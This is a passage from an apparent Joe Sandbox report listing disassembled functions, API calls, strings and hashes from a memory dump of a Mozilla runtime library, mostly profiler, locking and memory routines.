Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction ID: ee623ee0f79995db137349a269ed70c0a4b22cc15c8904805aa0d65b05339753
Opcode Fuzzy Hash: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction Fuzzy Hash: 49312A71F042085BCB08CFADDC812ADBBE6DB89314F55813DE8059BB41EBB0DD058B99

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 6C66BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C6B7A3F), ref: 6C66BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C6B7A3F), ref: 6C66BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C6B7A3F), ref: 6C66BF7E

Strings

ll, xrefs: 6C66BF84

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: ll
API String ID: 4279176481-422694604
Opcode ID: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction ID: acc39dd28e06e19247f79fe10d4894abeff6178b15d653ae20e437cdaa2bc3a2
Opcode Fuzzy Hash: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction Fuzzy Hash: 6611BF793016048FC729CF0CD599926FBF8FB59308355885DE98A8B754C731F800CB99

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C690800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C690838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C69084C
EnterCriticalSection.KERNEL32(?), ref: 6C6908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C6908BD
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C6908D5

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 1b213696630c9b1e99bd03d16a7ce02d416ba33bdca5681bf5c8060b1001ba7a
Instruction ID: 0c2d6e11bd8e05ad90fa341da736fe2338653d600f94c2358b24497550ac1e29
Opcode Fuzzy Hash: 1b213696630c9b1e99bd03d16a7ce02d416ba33bdca5681bf5c8060b1001ba7a
Instruction Fuzzy Hash: E121B031B0524A9BEF048F66D884BAEB379AF89708F500529D909A7A40DB31A804CBDC

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 6C661720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C6618EE
free.MOZGLUE(?), ref: 6C661911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66194C

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction ID: 179c7417f028dbd7f031db162d738cad369d2a3ff8023aed4c3d2a6ad5f0b6d2
Opcode Fuzzy Hash: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction Fuzzy Hash: 7781D670A112059FCB08CF69D8D49EEBBB1FF89314F04462CE815ABB54D730E854CBA6

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 6C6B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C6B7829

Part of subcall function 6C68CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C6531A7), ref: 6C68CC45
Part of subcall function 6C68CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C6531A7), ref: 6C68CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6B78CF

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction ID: d3f0341d97344c7fab9b808fa05ab6429bc07e170ace8f1b0d0d35edb21e3181
Opcode Fuzzy Hash: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction Fuzzy Hash: DC41AF719047469BD300DF29C48056AFBF4FFCA254F604A2DE4A987680DB70E569CBDA

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C68FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C68FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C68FFF5
free.MOZGLUE(?,?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C69001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C69002A

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction ID: ab8644dd52d9a0ae1aaae7a340cb17cfe20e0a68e28e3f1cbf24ed06b9935492
Opcode Fuzzy Hash: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction Fuzzy Hash: 5021D8B2B002155BC7189E789C944AFB7BAFB853287250738D525D7780EB719D0186EA

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 6C6A2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A208E
free.MOZGLUE(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A20A3

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
